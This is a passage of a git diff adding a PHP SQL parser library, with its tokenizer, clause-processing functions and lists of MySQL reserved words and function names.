'lower', + 'lpad', + 'ltrim', + 'make_set', + 'makedate', + 'maketime', + 'master_pos_wait', + 'match', + 'max', + 'md5', + 'microsecond', + 'mid', + 'min', + 'minute', + 'mod', + 'month', + 'monthname', + 'nextval', + 'now', + 'nullif', + 'oct', + 'octet_length', + 'old_password', + 'ord', + 'password', + 'period_add', + 'period_diff', + 'pi', + 'position', + 'pow', + 'power', + 'quarter', + 'quote', + 'radians', + 'rand', + 'release_lock', + 'repeat', + 'replace', + 'reverse', + 'right', + 'round', + 'row_count', + 'rpad', + 'rtrim', + 'sec_to_time', + 'second', + 'session_user', + 'sha', + 'sha1', + 'sign', + 'soundex', + 'space', + 'sqrt', + 'std', + 'stddev', + 'stddev_pop', + 'stddev_samp', + 'strcmp', + 'str_to_date', + 'subdate', + 'substring', + 'substring_index', + 'subtime', + 'sum', + 'sysdate', + 'system_user', + 'tan', + 'time', + 'timediff', + 'timestamp', + 'timestampadd', + 'timestampdiff', + 'time_format', + 'time_to_sec', + 'to_days', + 'trim', + 'truncate', + 'ucase', + 'uncompress', + 'uncompressed_length', + 'unhex', + 'unix_timestamp', + 'upper', + 'user', + 'utc_date', + 'utc_time', + 'utc_timestamp', + 'uuid', + 'var_pop', + 'var_samp', + 'variance', + 'version', + 'week', + 'weekday', + 'weekofyear', + 'year', + 'yearweek', + 'add', + 'all', + 'alter', + 'analyze', + 'and', + 'as', + 'asc', + 'asensitive', + 'auto_increment', + 'bdb', + 'before', + 'berkeleydb', + 'between', + 'bigint', + 'binary', + 'blob', + 'both', + 'by', + 'call', + 'cascade', + 'case', + 'change', + 'char', + 'character', + 'check', + 'collate', + 'column', + 'columns', + 'condition', + 'connection', + 'constraint', + 'continue', + 'create', + 'cross', + 'current_date', + 'current_time', + 'current_timestamp', + 'cursor', + 'database', + 'databases', + 'day_hour', + 'day_microsecond', + 'day_minute', + 'day_second', + 'dec', + 'decimal', + 'declare', + 'default', + 'delayed', + 'delete', + 'desc', + 'describe', + 'deterministic', + 'distinct', + 'distinctrow', + 'div', + 'double', + 'drop', + 'else', + 'elseif', + 'enclosed', + 'escaped', + 'exists', + 'exit', + 'explain', + 'false', + 'fetch', + 'fields', + 'float', + 'for', + 'force', + 'foreign', + 'found', + 'frac_second', + 'from', + 'fulltext', + 'grant', + 'group', + 'having', + 'high_priority', + 'hour_microsecond', + 'hour_minute', + 'hour_second', + 'if', + 'ignore', + 'in', + 'index', + 'infile', + 'inner', + 'innodb', + 'inout', + 'insensitive', + 'insert', + 'int', + 'integer', + 'interval', + 'into', + 'io_thread', + 'is', + 'iterate', + 'join', + 'key', + 'keys', + 'kill', + 'leading', + 'leave', + 'left', + 'like', + 'limit', + 'lines', + 'load', + 'localtime', + 'localtimestamp', + 'lock', + 'long', + 'longblob', + 'longtext', + 'loop', + 'low_priority', + 'master_server_id', + 'match', + 'mediumblob', + 'mediumint', + 'mediumtext', + 'middleint', + 'minute_microsecond', + 'minute_second', + 'mod', + 'natural', + 'not', + 'no_write_to_binlog', + 'null', + 'numeric', + 'on', + 'optimize', + 'option', + 'optionally', + 'or', + 'order', + 'out', + 'outer', + 'outfile', + 'precision', + 'primary', + 'privileges', + 'procedure', + 'purge', + 'read', + 'real', + 'references', + 'regexp', + 'rename', + 'repeat', + 'replace', + 'require', + 'restrict', + 'return', + 'revoke', + 'right', + 'rlike', + 'second_microsecond', + 'select', + 'sensitive', + 'separator', + 'set', + 'show', + 'smallint', + 'some', + 'soname', + 'spatial', + 'specific', + 'sql', + 'sqlexception', + 'sqlstate', + 'sqlwarning', + 'sql_big_result', + 'sql_calc_found_rows', + 'sql_small_result', + 'sql_tsi_day', + 'sql_tsi_frac_second', + 'sql_tsi_hour', + 'sql_tsi_minute', + 'sql_tsi_month', + 'sql_tsi_quarter', + 'sql_tsi_second', + 'sql_tsi_week', + 'sql_tsi_year', + 'ssl', + 'starting', + 'straight_join', + 'striped', + 'table', + 'tables', + 'terminated', + 'then', + 'timestampadd', + 'timestampdiff', + 'tinyblob', + 'tinyint', + 'tinytext', + 'to', + 'trailing', + 'true', + 'undo', + 'union', + 'unique', + 'unlock', + 'unsigned', + 'update', + 'usage', + 'use', + 'user_resources', + 'using', + 'utc_date', + 'utc_time', + 'utc_timestamp', + 'values', + 'varbinary', + 'varchar', + 'varcharacter', + 'varying', + 'when', + 'where', + 'while', + 'with', + 'write', + 'xor', + 'year_month', + 'zerofill' + ); + + for($i=0;$ireserved);++$i) { + $this->reserved[$i]=strtoupper($this->reserved[$i]); + if(!empty($this->functions[$i])) $this->functions[$i] = strtoupper($this->functions[$i]); + } + } + + } // END CLASS + define('HAVE_PHP_SQL_PARSER',1); +} + diff --git a/tools/parser_sql/php-sql-parser.php b/tools/parser_sql/php-sql-parser.php new file mode 100755 index 0000000..f7e151c --- /dev/null +++ b/tools/parser_sql/php-sql-parser.php @@ -0,0 +1,1970 @@ +load_reserved_words(); + if($sql) $this->parse($sql); + } + + function parse($sql) { + $sql = trim($sql); + + #lex the SQL statement + $in = $this->split_sql($sql); + + #sometimes the parser needs to skip ahead until a particular + #token is found + $skip_until = false; + + #this is the output tree which is being parsed + $out = array(); + + #This is the last type of union used (UNION or UNION ALL) + #indicates a) presence of at least one union in this query + # b) the type of union if this is the first or last query + $union = false; + + #Sometimes a "query" consists of more than one query (like a UNION query) + #this array holds all the queries + $queries=array(); + + #This is the highest level lexical analysis. This is the part of the + #code which finds UNION and UNION ALL query parts + foreach($in as $key => $token) { + $token=trim($token); + + if($skip_until) { + if($token) { + if(strtoupper($token) == $skip_until) { + $skip_until = false; + continue; + } + } else { + continue; + } + } + + if(strtoupper($token) == "UNION") { + $union = 'UNION'; + for($i=$key+1;$i $tok_list) { + foreach($tok_list as $z => $tok) { + $tok = trim($tok); + if(!$tok) continue; + if(preg_match('/^\\(\\s*select\\s*/i', $tok)) { + $queries[$union_type][$i] = $this->parse(substr($tok,1,-1)); + break; + } else { + $queries[$union_type][$i] = $this->process_sql($queries[$union_type][$i]); + break; + } + } + } + } + } + + + /* If there was no UNION or UNION ALL in the query, then the query is + stored at $queries[0]. + */ + if(!empty($queries[0])) { + $queries[0] = $this->process_sql($queries[0]); + + } + + if(count($queries) == 1 && !$union) { + $queries = $queries[0]; + } + + $this->parsed = $queries; + return $this->parsed; + } + + #This function counts open and close parenthesis and + #returns their location. This might be faster as a regex + private function count_paren($token,$chars=array('(',')')) { + $len = strlen($token); + $open=array(); + $close=array(); + for($i=0;$i<$len;++$i){ + if($token[$i] == $chars[0]) { + $open[] = $i; + } elseif($token[$i] == $chars[1]) { + $close[] = $i; + } + + } + return array('open' => $open, 'close' => $close, 'balanced' =>( count($close) - count($open))); + } + + #This function counts open and close parenthesis and + #returns their location. This might be faster as a regex + private function count_backtick($token) { + $len = strlen($token); + $cnt=0; + for($i=0;$i<$len;++$i){ + if($token[$i] == '`') ++$cnt; + } + return $cnt; + } + + #This is the lexer + #this function splits up a SQL statement into easy to "parse" + #tokens for the SQL processor + private function split_sql($sql) { + + if(!is_string($sql)) { + echo "SQL:\n"; + print_r($sql); + exit; + } + + $sql = str_replace(array('\\\'','\\"',"\r\n","\n","()"),array("''",'""'," "," "," "), $sql); + $regex=<<|>|<|&&|\|\||=|\^) +|(\(.*?\)) # Match FUNCTION(...) OR BAREWORDS +|('(?:[^']|'')*'+) +|("(?:[^"]|"")*"+) +|([^ ,]+) +/ix +EOREGEX +; + + $tokens = preg_split($regex, $sql,-1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE); + $token_count = count($tokens); + + /* The above regex has one problem, because the parenthetical match is not greedy. + Thus, when matching grouped expresions such as ( (a and b) or c) the + tokenizer will produce "( (a and b)", " ", "or", " " , "c,")" + + This block detects the number of open/close parens in the given token. If the parens are balanced + (balanced == 0) then we don't need to do anything. + + otherwise, we need to balance the expression. + */ + $reset = false; + for($i=0;$i<$token_count;++$i) { + + if(empty($tokens[$i])) continue; + + $token = $tokens[$i]; + $trim = trim($token); + if($trim) { + if($trim[0] != '(' + && substr($trim,-1) == ')') { + $trim=trim(substr($trim,0, + strpos($trim,'('))); + } + $tokens[$i]=$trim; + $token=$trim; + } + + if($token && $token[0] == '(') { + $info = $this->count_paren($token); + if($info['balanced'] == 0) { + continue; + } + + #we need to find this many closing parens + $needed = abs($info['balanced']); + $n = $i; + while($needed > 0 && $n <$token_count-1) { + ++$n; + #echo "LOOKING FORWARD TO $n [ " . $tokens[$n] . "]\n"; + $token2 = $tokens[$n]; + $info2 = $this->count_paren($token2); + $closes = count($info2['close']); + if($closes != $needed) { + $tokens[$i] .= $tokens[$n]; + unset($tokens[$n]); + $reset = true; + $info2 = $this->count_paren($tokens[$i]); + $needed = abs($info2['balanced']); + # echo "CLOSES LESS THAN NEEDED (still need $needed)\n"; + } else { + /*get the string pos of the last close paren we need*/ + $pos = $info2['close'][count($info2['close'])-1]; + $str1 = $str2 = ""; + if($pos == 0) { + $str1 = ')'; + } else { + $str1 = substr($tokens[$n],0,$pos) . ')'; + $str2 = substr($tokens[$n],$pos+1); + } + #echo "CLOSES FOUND AT $n, offset:$pos [$str1] [$str2]\n"; + if(strlen($str2) > 0) { + $tokens[$n] = $str2; + } else { + unset($tokens[$n]); + $reset = true; + } + $tokens[$i] .= $str1; + $info2 = $this->count_paren($tokens[$i]); + $needed = abs($info2['balanced']); + + } + } + } + } + + #the same problem appears with backticks :( + + /* reset the array if we deleted any tokens above */ + if ($reset) $tokens = array_values($tokens); + + $token_count=count($tokens); + for($i=0;$i<$token_count;++$i) { + if(empty($tokens[$i])) continue; + $token=$tokens[$i]; + $needed=true; + $reset=false; + if($needed && $token && strpos($token,'`') !== false) { + $info = $this->count_backtick($token); + if($info %2 == 0) { #even number of backticks means we are balanced + continue; + } + $needed=1; + + $n = $i; + while($needed && $n <$token_count-1) { + $reset=true; + #echo "BACKTICK COUNT[$i]: $info old: {$tokens[$i]}, new: ($token)\n"; + ++$n; + $token .= $tokens[$n]; + unset($tokens[$n]); + $needed = $this->count_backtick($token) % 2; + } + } + if($reset) $tokens[$i] = $token; + + } + /* reset the array if we deleted any tokens above */ + $tokens = array_values($tokens); + + return $tokens; + + } + + /* This function breaks up the SQL statement into logical sections. + Some sections are then further handled by specialized functions. + */ + private function process_sql(&$tokens,$start_at = 0, $stop_at = false) { + $prev_category = ""; + $start = microtime(true); + $token_category = ""; + + $skip_next=false; + $token_count = count($tokens); + + if(!$stop_at) { + $stop_at = $token_count; + } + + $out = false; + + for($token_number = $start_at;$token_number<$stop_at;++$token_number) { + $token = trim($tokens[$token_number]); + if($token && $token[0] == '(' && $token_category == "") { + $token_category = 'SELECT'; + } + + /* If it isn't obvious, when $skip_next is set, then we ignore the next real + token, that is we ignore whitespace. + */ + if($skip_next) { + #whitespace does not count as a next token + if($token == "") { + continue; + } + + #to skip the token we replace it with whitespace + $new_token = ""; + $skip_next = false; + } + + $upper = strtoupper($token); + switch($upper) { + + /* Tokens that get their own sections. These keywords have subclauses. */ + case 'SELECT': + case 'ORDER': + case 'LIMIT': + case 'SET': + case 'DUPLICATE': + case 'VALUES': + case 'GROUP': + case 'ORDER': + case 'HAVING': + case 'INTO': + case 'WHERE': + case 'RENAME': + case 'CALL': + case 'PROCEDURE': + case 'FUNCTION': + case 'DATABASE': + case 'SERVER': + case 'LOGFILE': + case 'DEFINER': + case 'RETURNS': + case 'EVENT': + case 'TABLESPACE': + case 'VIEW': + case 'TRIGGER': + case 'DATA': + case 'DO': + case 'PASSWORD': + case 'USER': + case 'PLUGIN': + case 'FROM': + case 'FLUSH': + case 'KILL': + case 'RESET': + case 'START': + case 'STOP': + case 'PURGE': + case 'EXECUTE': + case 'PREPARE': + case 'DEALLOCATE': + if($token == 'DEALLOCATE') { + $skip_next = true; + } + /* this FROM is different from FROM in other DML (not join related) */ + if($token_category == 'PREPARE' && $upper == 'FROM') { + continue 2; + } + + $token_category = $upper; + #$join_type = 'JOIN'; + if($upper == 'FROM' && $token_category == 'FROM') { + /* DO NOTHING*/ + } else { + continue 2; + + } + break; + + /* These tokens get their own section, but have no subclauses. + These tokens identify the statement but have no specific subclauses of their own. */ + case 'DELETE': + case 'ALTER': + case 'INSERT': + case 'REPLACE': + case 'TRUNCATE': + case 'CREATE': + case 'TRUNCATE': + case 'OPTIMIZE': + case 'GRANT': + case 'REVOKE': + case 'SHOW': + case 'HANDLER': + case 'LOAD': + case 'ROLLBACK': + case 'SAVEPOINT': + case 'UNLOCK': + case 'INSTALL': + case 'UNINSTALL': + case 'ANALZYE': + case 'BACKUP': + case 'CHECK': + case 'CHECKSUM': + case 'REPAIR': + case 'RESTORE': + case 'CACHE': + case 'DESCRIBE': + case 'EXPLAIN': + case 'USE': + case 'HELP': + $token_category = $upper; /* set the category in case these get subclauses + in a future version of MySQL */ + $out[$upper][0] = $upper; + continue 2; + break; + + /* This is either LOCK TABLES or SELECT ... LOCK IN SHARE MODE*/ + case 'LOCK': + if($token_category == "") { + $token_category = $upper; + $out[$upper][0] = $upper; + } else { + $token = 'LOCK IN SHARE MODE'; + $skip_next=true; + $out['OPTIONS'][] = $token; + } + continue 2; + break; + + case 'USING': + /* USING in FROM clause is different from USING w/ prepared statement*/ + if($token_category == 'EXECUTE') { + $token_category=$upper; + continue 2; + } + if($token_category == 'FROM' && !empty($out['DELETE'])) { + $token_category=$upper; + continue 2; + } + break; + + /* DROP TABLE is different from ALTER TABLE DROP ... */ + case 'DROP': + if($token_category != 'ALTER') { + $token_category = $upper; + $out[$upper][0] = $upper; + continue 2; + } + break; + + case 'FOR': + $skip_next=true; + $out['OPTIONS'][] = 'FOR UPDATE'; + continue 2; + break; + + + case 'UPDATE': + if($token_category == "" ) { + $token_category = $upper; + continue 2; + + } + if($token_category == 'DUPLICATE') { + continue 2; + } + break; + break; + + case 'START': + $token = "BEGIN"; + $out[$upper][0] = $upper; + $skip_next = true; + break; + + /* These tokens are ignored. */ + case 'BY': + case 'ALL': + case 'SHARE': + case 'MODE': + case 'TO': + + case ';': + continue 2; + break; + + case 'KEY': + if($token_category == 'DUPLICATE') { + continue 2; + } + break; + + /* These tokens set particular options for the statement. They never stand alone.*/ + case 'DISTINCTROW': + $token='DISTINCT'; + case 'DISTINCT': + case 'HIGH_PRIORITY': + case 'LOW_PRIORITY': + case 'DELAYED': + case 'IGNORE': + case 'FORCE': + case 'STRAIGHT_JOIN': + case 'SQL_SMALL_RESULT': + case 'SQL_BIG_RESULT': + case 'QUICK': + case 'SQL_BUFFER_RESULT': + case 'SQL_CACHE': + case 'SQL_NO_CACHE': + case 'SQL_CALC_FOUND_ROWS': + $out['OPTIONS'][] = $upper; + continue 2; + break; + + case 'WITH': + if($token_category == 'GROUP') { + $skip_next=true; + $out['OPTIONS'][] = 'WITH ROLLUP'; + continue 2; + } + break; + + + case 'AS': + break; + + case '': + case ',': + case ';': + break; + + default: + break; + } + + if($prev_category == $token_category) { + $out[$token_category][] = $token; + } + + $prev_category = $token_category; + } + + if(!$out) return false; + + + #process the SELECT clause + if(!empty($out['SELECT'])) $out['SELECT'] = $this->process_select($out['SELECT']); + + if(!empty($out['FROM'])) $out['FROM'] = $this->process_from($out['FROM']); + if(!empty($out['USING'])) $out['USING'] = $this->process_from($out['USING']); + if(!empty($out['UPDATE'])) $out['UPDATE'] = $this->process_from($out['UPDATE']); + + if(!empty($out['GROUP'])) $out['GROUP'] = $this->process_group($out['GROUP'], $out['SELECT']); + if(!empty($out['ORDER'])) $out['ORDER'] = $this->process_group($out['ORDER'], $out['SELECT']); + + if(!empty($out['LIMIT'])) $out['LIMIT'] = $this->process_limit($out['LIMIT']); + + if(!empty($out['WHERE'])) $out['WHERE'] = $this->process_expr_list($out['WHERE']); + if(!empty($out['HAVING'])) $out['HAVING'] = $this->process_expr_list($out['HAVING']); + if(!empty($out['SET'])) $out['SET'] = $this->process_set_list($out['SET']); + if(!empty($out['DUPLICATE'])) { + $out['ON DUPLICATE KEY UPDATE'] = $this->process_set_list($out['DUPLICATE']); + unset($out['DUPLICATE']); + } + if(!empty($out['INSERT'])) $out = $this->process_insert($out); + if(!empty($out['REPLACE'])) $out = $this->process_insert($out,'REPLACE'); + if(!empty($out['DELETE'])) $out = $this->process_delete($out); + + return $out; + + } + + /* A SET list is simply a list of key = value expressions separated by comma (,). + This function produces a list of the key/value expressions. + */ + private function process_set_list($tokens) { + $column=""; + $expression=""; + foreach($tokens as $token) { + $token=trim($token); + if(!$column) { + if($token === false || empty($token)) continue; + $column .= $token; + continue; + } + + if($token == '=') continue; + + if($token == ',') { + $expr[] = array('column' => trim($column), 'expr' => trim($expression)); + $expression = $column = ""; + continue; + } + + $expression .= $token; + } + if($expression) { + $expr[] = array('column' => trim($column), 'expr' => trim($expression)); + } + + return $expr; + } + + /* This function processes the LIMIT section. + start,end are set. If only end is provided in the query + then start is set to 0. + */ + private function process_limit($tokens) { + $start = 0; + $end = 0; + + if($pos = array_search(',',$tokens)) { + for($i=0;$i<$pos;++$i) { + if($tokens[$i] != '') { + $start = $tokens[$i]; + break; + } + } + $pos = $pos + 1; + + } else { + $pos = 0; + } + + for($i=$pos;$i $start, 'end' => $end); + } + + /* This function processes the SELECT section. It splits the clauses at the commas. + Each clause is then processed by process_select_expr() and the results are added to + the expression list. + + Finally, at the end, the epxression list is returned. + */ + private function process_select(&$tokens) { + $expression = ""; + $expr = array(); + foreach($tokens as $token) { + if($token == ',') { + $expr[] = $this->process_select_expr(trim($expression)); + $expression = ""; + } else { + if($token === "" || $token===false) $token=" "; + $expression .= $token ; + } + } + if($expression) $expr[] = $this->process_select_expr(trim($expression)); + return $expr; + } + + /* This fuction processes each SELECT clause. We determine what (if any) alias + is provided, and we set the type of expression. + */ + private function process_select_expr($expression) { + $capture = false; + $alias = ""; + $base_expression = $expression; + $upper = trim(strtoupper($expression)); + #if necessary, unpack the expression + if($upper[0] == '(') { + #$expression = substr($expression,1,-1); + $base_expression = $expression; + } + + $tokens = $this->split_sql($expression); + $token_count = count($tokens); + + /* Determine if there is an explicit alias after the AS clause. + If AS is found, then the next non-whitespace token is captured as the alias. + The tokens after (and including) the AS are removed. + */ + $base_expr = ""; + $stripped=array(); + $capture=false; + $alias = ""; + $processed=false; + for($i=0;$i<$token_count;++$i) { + $token = strtoupper($tokens[$i]); + if(trim($token)) { + $stripped[] = $tokens[$i]; + } + + if($token == 'AS') { + unset($tokens[$i]); + $capture = true; + continue; + } + + if($capture) { + if(trim($token)) { + $alias .= $tokens[$i]; + } + unset($tokens[$i]); + continue; + } + $base_expr .= $tokens[$i]; + } + + $stripped = $this->process_expr_list($stripped); + $last = array_pop($stripped); + if(!$alias && $last['expr_type'] == 'colref') { + $prev = array_pop($stripped); + if($prev['expr_type'] == 'operator' || + $prev['expr_type'] == 'const' || + $prev['expr_type'] == 'function' || + $prev['expr_type'] == 'expression' || + #$prev['expr_type'] == 'aggregate_function' || + $prev['expr_type'] == 'subquery' || + $prev['expr_type'] == 'colref') { + $alias = $last['base_expr']; + + #remove the last token + array_pop($tokens); + + $base_expr = join("", $tokens); + + + } + } + + if(!$alias) { + $base_expr=join("", $tokens); + $alias = $base_expr; + } + + /* Properly escape the alias if it is not escaped */ + if ($alias[0] != '`') { + $alias = '`' . str_replace('`','``',$alias) . '`'; + } + $processed = false; + $type='expression'; + + if(substr(trim($base_expr),0,1) == '(') { + $base_expr = substr($expression,1,-1); + if(preg_match('/^sel/i', $base_expr)) { + $type='subquery'; + $processed = $this->parse($base_expr); + } + } + if(!$processed) { + $processed = $this->process_expr_list($tokens); + } + + if(count($processed) == 1) { + $type = $processed[0]['expr_type']; + $processed = false; + } + + return array('expr_type'=>$type,'alias' => $alias, 'base_expr' => $base_expr, 'sub_tree' => $processed); + + } + + + private function process_from(&$tokens) { + + $expression = ""; + $expr = array(); + $token_count=0; + $table = ""; + $alias = ""; + + $skip_next=false; + $i=0; + $join_type = ''; + $ref_type=""; + $ref_expr=""; + $base_expr=""; + $sub_tree = false; + $subquery = ""; + + $first_join=true; + $modifier=""; + $saved_join_type=""; + + foreach($tokens as $token) { + $base_expr = false; + $upper = strtoupper(trim($token)); + + if($skip_next && $token) { + $token_count++; + $skip_next = false; + continue; + } else { + if($skip_next) { + continue; + } + } + + if(preg_match("/^\\s*\\(\\s*select/i",$token)) { + $type = 'subquery'; + $table = "DEPENDENT-SUBQUERY"; + $sub_tree = $this->parse(trim($token,'() ')); + $subquery = $token; + } + + switch($upper) { + case 'OUTER': + case 'LEFT': + case 'RIGHT': + case 'NATURAL': + case 'CROSS': + case ',': + case 'JOIN': + break; + + default: + $expression .= $token == '' ? " " : $token; + if($ref_type) { + $ref_expr .= $token == '' ? " " : $token; + } + break; + } + + switch($upper) { + case 'AS': + $token_count++; + $n=1; + $alias = ""; + while($alias == "") { + $alias = trim($tokens[$i+$n]); + ++$n; + } + + continue; + break; + + case 'INDEX': + if($token_category == 'CREATE') { + $token_category = $upper; + continue 2; + } + + break; + + case 'USING': + case 'ON': + $ref_type = $upper; + $ref_expr = ""; + + case 'CROSS': + case 'USE': + case 'FORCE': + case 'IGNORE': + case 'INNER': + case 'OUTER': + # $expression .= $token; + $token_count++; + continue; + break; + + + + case 'FOR': + $token_count++; + $skip_next = true; + continue; + break; + + case 'LEFT': + case 'RIGHT': + case 'STRAIGHT_JOIN': + $join_type=$saved_join_type; + + $modifier = $upper . " "; + break; + + + case ',': + $modifier = 'CROSS'; + + case 'JOIN': + + if($first_join) { + $join_type = 'JOIN'; + $saved_join_type = ($modifier ? $modifier : 'JOIN'); + } else { + $new_join_type = ($modifier ? $modifier : 'JOIN'); + $join_type = $saved_join_type; + $saved_join_type = $new_join_type; + unset($new_join_type); + } + + $first_join = false; + + if(!trim($alias)) $alias = $table; + + if($subquery) { + $sub_tree = $this->parse(trim($subquery,'()')); + $base_expr=$subquery; + } + + if(substr(trim($table),0,1) == '(') { + $base_expr=trim($table,'() '); + $join_type = 'JOIN'; + $sub_tree = $this->process_from($this->split_sql($base_expr)); + $alias=""; + } + + + if($join_type == "") $join_type='JOIN'; + $expr[] = array('table'=>$table, 'alias'=>$alias,'join_type'=>$join_type,'ref_type'=> $ref_type,'ref_clause'=>trim($ref_expr,'() '), 'base_expr' => $base_expr, 'sub_tree' => $sub_tree); + $modifier = ""; + #$join_type=$saved_join_type; + + + $token_count = 0; + $table = $alias = $expression = $base_expr = $ref_type = $ref_expr = ""; + $sub_tree=false; + $subquery = ""; + + break; + + + default: + if($token === false || empty($token) || $token === "") continue; + + if($token_count == 0 ) { + if(!$table) { + $table = $token ; + } + } else if($token_count == 1) { + $alias = $token; + } + $token_count++; + break; + } + ++$i; + } + if(substr(trim($table),0,1) == '(') { + $base_expr=trim($table,'() '); + $join_type = 'JOIN'; + $sub_tree = $this->process_from($this->split_sql($base_expr)); + $alias = ""; + } else { + if(!trim($alias)) $alias = $table; + } + if($join_type == "") $saved_join_type='JOIN'; + + $expr[] = array('table'=>$table, 'alias'=>$alias,'join_type'=>$saved_join_type,'ref_type'=> $ref_type,'ref_clause'=> trim($ref_expr,'() '), 'base_expr' => $base_expr, 'sub_tree' => $sub_tree); + + + return $expr; + } + + private function process_group(&$tokens, &$select) { + + $out=array(); + $expression = ""; + $direction="ASC"; + $type = "expression"; + if(!$tokens) return false; + + foreach($tokens as $token) { + switch(strtoupper($token)) { + case ',': + $expression = trim($expression); + if($expression[0] != '`' || substr($expression,-1) != '`') { + $escaped = str_replace('`','``',$expression); + } else { + $escaped = $expression; + } + $escaped = '`' . $escaped . '`'; + + if(is_numeric(trim($expression))) { + $type = 'pos'; + } else { + + #search to see if the expression matches an alias + foreach($select as $clause) { + if($clause['alias'] == $escaped) { + $type = 'alias'; + } + } + + if(!$type) $type = "expression"; + } + + $out[]=array('type'=>$type,'base_expr'=>$expression,'direction'=>$direction); + $escaped = ""; + $expression = ""; + $direction = "ASC"; + $type = ""; + break; + + case 'ASC': + $direction = "ASC"; + break; + + case 'DESC': + $direction = "DESC"; + break; + + default: + $expression .= $token == '' ? ' ' : $token; + + + } + } + if($expression) { + $expression = trim($expression); + if($expression[0] != '`' || substr($expression,-1) != '`') { + $escaped = str_replace('`','``',$expression); + } else { + $escaped = $expression; + } + $escaped = '`' . $escaped . '`'; + + if(is_numeric(trim($expression))) { + $type = 'pos'; + } else { + + #search to see if the expression matches an alias + if(!$type && $select) { + foreach($select as $clause) { + if(!is_array($clause)) continue; + if($clause['alias'] == $escaped) { + $type = 'alias'; + } + } + } else { + $type="expression"; + } + + if(!$type) $type = "expression"; + } + + $out[]=array('type'=>$type,'base_expr'=>$expression,'direction'=>$direction); + } + + return $out; + } + + /* Some sections are just lists of expressions, like the WHERE and HAVING clauses. This function + processes these sections. Recursive. + */ + private function process_expr_list($tokens) { + $expr = ""; + $type = ""; + $prev_token = ""; + $skip_next = false; + $sub_expr = ""; + + $in_lists = array(); + foreach($tokens as $key => $token) { + + if(strlen(trim($token))==0) continue; + if($skip_next) { + $skip_next = false; + continue; + } + + $processed = false; + $upper = strtoupper(trim($token)); + if(trim($token)) $token=trim($token); + + /* is it a subquery?*/ + if(preg_match("/^\\s*\\(\\s*SELECT/i", $token)) { + $type = 'subquery'; + #tokenize and parse the subquery. + #we remove the enclosing parenthesis for the tokenizer + $processed = $this->parse(trim($token,' ()')); + + + /* is it an inlist */ + } elseif( $upper[0] == '(' && substr($upper,-1) == ')' ) { + if($prev_token == 'IN') { + $type = "in-list"; + $processed = $this->split_sql(substr($token,1,-1)); + $list = array(); + foreach($processed as $v) { + if($v == ',') continue; + $list[]=$v; + } + $processed = $list; + unset($list); + $prev_token = ""; + + } + elseif($prev_token == 'AGAINST') { + $type = "match-arguments"; + $list = $this->split_sql(substr($token,1,-1)); + if(count($list) > 1){ + $match_mode = implode('',array_slice($list,1)); + $processed = array($list[0], $match_mode); + } + else + $processed = $list[0]; + $prev_token = ""; + } + + /* it is either an operator, a colref or a constant */ + } else { + switch($upper) { + case 'AND': + case '&&': + case 'BETWEEN': + case 'AND': + case 'BINARY': + case '&': + case '~': + case '|': + case '^': + case 'CASE': + case 'WHEN': + case 'END': + case 'DIV': + case '/': + case '<=>': + case '=': + case '>=': + case '>': + case 'IS': + case 'NOT': + case 'NULL': + case '<<': + case '<=': + case '<': + case 'LIKE': + case '-': + case '%': + case '!=': + case '<>': + case 'REGEXP': + case '!': + case '||': + case 'OR': + case '+': + case '>>': + case 'RLIKE': + case 'SOUNDS': + case '*': + case '-': + case 'XOR': + case 'IN': + $processed = false; + $type = "operator"; + break; + default: + switch($token[0]) { + case "'": + case '"': + $type = 'const'; + break; + case '`': + $type = 'colref'; + break; + + default: + if(is_numeric($token)) { + $type = 'const'; + } else { + $type = 'colref'; + } + break; + + } + #$processed = $token; + $processed = false; + } + } + /* is a reserved word? */ + if(($type != 'operator' && $type != 'in-list' && $type != 'sub_expr') && in_array($upper, $this->reserved)) { + $token = $upper; + if(!in_array($upper,$this->functions)) { + $type = 'reserved'; + } else { + switch($token) { + case 'AVG': + case 'SUM': + case 'COUNT': + case 'MIN': + case 'MAX': + case 'STDDEV': + case 'STDDEV_SAMP': + case 'STDDEV_POP': + case 'VARIANCE': + case 'VAR_SAMP': + case 'VAR_POP': + case 'GROUP_CONCAT': + case 'BIT_AND': + case 'BIT_OR': + case 'BIT_XOR': + $type = 'aggregate_function'; + if(!empty($tokens[$key+1])) $sub_expr = $tokens[$key+1]; + #$skip_next=true; + break; + + default: + $type = 'function'; + if(!empty($tokens[$key+1])) $sub_expr = $tokens[$key+1]; else $sub_expr="()"; + #$skip_next=true; + + + break; + } + } + } + + if(!$type) { + if($upper[0] == '(') { + $local_expr = substr(trim($token),1,-1); + } else { + $local_expr = $token; + } + $processed = $this->process_expr_list($this->split_sql($local_expr)); + $type = 'expression'; + + if(count($processed) == 1) { + $type = $processed[0]['expr_type']; + $base_expr = $processed[0]['base_expr']; + $processed = $processed[0]['sub_tree']; + } + + } + + $sub_expr=trim($sub_expr); + $sub_expr = ""; + + $expr[] = array( 'expr_type' => $type, 'base_expr' => $token, 'sub_tree' => $processed); + $prev_token = $upper; + $expr_type = ""; + $type = ""; + } + if($sub_expr) { + $processed['sub_tree'] = $this->process_expr_list($this->split_sql(substr($sub_expr,1,-1))); + } + + if(!is_array($processed)) { + + print_r($processed); + $processed = false; + } + + if($expr_type) { + $expr[] = array( 'expr_type' => $type, 'base_expr' => $token, 'sub_tree' => $processed); + } + $mod = false; + + /* + + for($i=0;$i $tables); + + return $tokens; + } + + function process_insert($tokens, $token_category = 'INSERT') { + $table = ""; + $cols = ""; + + if(isset($tokens['INTO'])) + { + $into = $tokens['INTO']; + foreach($into as $token) { + if(!trim($token)) continue; + if(!$table) { + $table = $token; + }elseif(!$cols) { + $cols = $token; + } + } + } + + if(!$cols) { + $cols = 'ALL'; + } else { + $cols = explode(",", trim($cols,'() ')); + } + unset($tokens['INTO']); + $tokens[$token_category] = array('table'=>$table, 'cols'=>$cols); + return $tokens; + + } + + + function load_reserved_words() { + + $this->functions = array( + 'abs', + 'acos', + 'adddate', + 'addtime', + 'aes_encrypt', + 'aes_decrypt', + 'against', + 'ascii', + 'asin', + 'atan', + 'avg', + 'benchmark', + 'bin', + 'bit_and', + 'bit_or', + 'bitcount', + 'bitlength', + 'cast', + 'ceiling', + 'char', + 'char_length', + 'character_length', + 'charset', + 'coalesce', + 'coercibility', + 'collation', + 'compress', + 'concat', + 'concat_ws', + 'conection_id', + 'conv', + 'convert', + 'convert_tz', + 'cos', + 'cot', + 'count', + 'crc32', + 'curdate', + 'current_user', + 'currval', + 'curtime', + 'database', + 'date_add', + 'date_diff', + 'date_format', + 'date_sub', + 'day', + 'dayname', + 'dayofmonth', + 'dayofweek', + 'dayofyear', + 'decode', + 